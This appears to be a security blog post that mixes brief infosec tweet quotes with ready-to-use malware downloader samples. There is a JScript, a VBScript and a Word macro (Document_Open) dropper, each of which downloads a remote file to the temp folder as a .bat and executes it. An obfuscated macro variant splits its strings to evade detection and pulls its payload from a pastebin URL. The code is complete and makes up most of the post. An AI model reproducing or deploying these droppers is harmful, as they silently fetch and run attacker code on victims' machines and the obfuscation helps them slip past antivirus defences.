Infosec quotes - using what is available

Using what’s already available 

“... COM object interaction w/Internet Explorer to download payload ... powershell.exe loads ieproxy.dll, svchost.exe spawns iexplore.exe

, iexplore.exe makes network connection...”

https://twitter.com/danielhbohannon/status/969588645698134016?s=21 

Infosec quotes - exchange compromise AD

“... is possible from the Exchange Windows permissions (EWP) security group to compromise the entire prepared Active Directory domain...”

https://twitter.com/m3g9tr0n/status/969524721946644480?s=21  

Infosec quotes - costly emotet

Even the routine phishing campaigns seen daily can be devastating.

“... Emotet Attack Costs City of Allentown, PA $1 Million...”

https://twitter.com/teoseller/status/969573036482539527?s=21 

Sample javascript downloader (wscript.exe)

var url = "???url???"
var filepath = "c:\\windows\\temp\\????.bat"
var xhr = new ActiveXObject("MSXML2.XMLHTTP")
xhr.open("GET", url, false)
xhr.send()

if (xhr.Status == 200) {

var fso = new ActiveXObject("Scripting.FileSystemObject")
if (fso.FileExists(filepath))
fso.DeleteFile(filepath)

var stream = new ActiveXObject("ADODB.Stream")
stream.Open()
stream.Type = 1
stream.Write(xhr.ResponseBody)
stream.Position = 0       
stream.SaveToFile(filepath)
stream.Close()

var objShell = new ActiveXObject("WScript.shell");
objShell.run(filepath);
}

Sample vbscript downloader

dim xHttp: Set xHttp = createobject("Microsoft.XMLHTTP")
dim bStrm: Set bStrm = createobject("Adodb.Stream")
dim shobj: Set shobj = CreateObject("WScript.Shell")
Randomize
dim fname: fname = "c:\\windows\\temp\\???" & Rnd & ".bat"
xHttp.Open "GET", "???url???", False
xHttp.Send

with bStrm
    .type = 1
    .open
    .write xHttp.responseBody
    .savetofile fname, 2
end with

shobj.run fname

Sample w97 vba downloader

sample vba w97/downloader downloader

Private Sub Document_Open()
    Dim myURL As String, sFilename As String
    myURL = "???url???"
    sFilename = Environ("Temp") & Application.PathSeparator & "???filename???"
 
    Dim WinHttpReq As Object, oStream As Object
    Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
    WinHttpReq.Open "GET", myURL, False
   WinHttpReq.Send
 
    myURL = WinHttpReq.ResponseBody
    If WinHttpReq.Status = 200 Then
       Set oStream = CreateObject("ADODB.Stream")
       oStream.Open
       oStream.Type = 1
       oStream.Write WinHttpReq.ResponseBody
       oStream.SaveToFile sFilename, 2
       oStream.Close
       Shell (sFilename)
    End If
End Sub

----
obfuscated
----

Private Sub Document_Open()
    Dim myURL As String, sFilename As String
    myURL = "https://pastebin.com/raw/TDzh23VX"
    sFilename = Environ("Temp") & Application.PathSeparator & "checker.bat"
    Dim WinHttpReq As Object, oStream As Object
    Set WinHttpReq = a("Micro" & "soft.XM" & "LHTTP")
    WinHttpReq.Open "GET", myURL, False
    WinHttpReq.Send
    myURL = WinHttpReq.ResponseBody
    If WinHttpReq.Status = 200 Then

       Set oStream = a("ADO" + "DB.Str" + "eam")

       oStream.Open

       oStream.Type = 1

       oStream.Write WinHttpReq.ResponseBody
     
       f oStream, sFilename
     
       e sFilename
    End If
End Sub

Private Function a(b) As Object
    Set a = CreateObject(b)
End Function

Private Sub c(d)
    d.Send
End Sub

Private Sub e(i)
    Shell i
End Sub

Private Sub f(g, h)
    g.SaveToFile h, 2
End Sub

Infosec quotes - logs stopped

“... An attacker, after gaining control over a compromised machine/account, tends to stop all such agent services ... To counter such malformed actions, SIEM should be configured to raise an alert if a host stops forwarding logs...”

http://resources.infosecinstitute.com/top-6-seim-use-cases/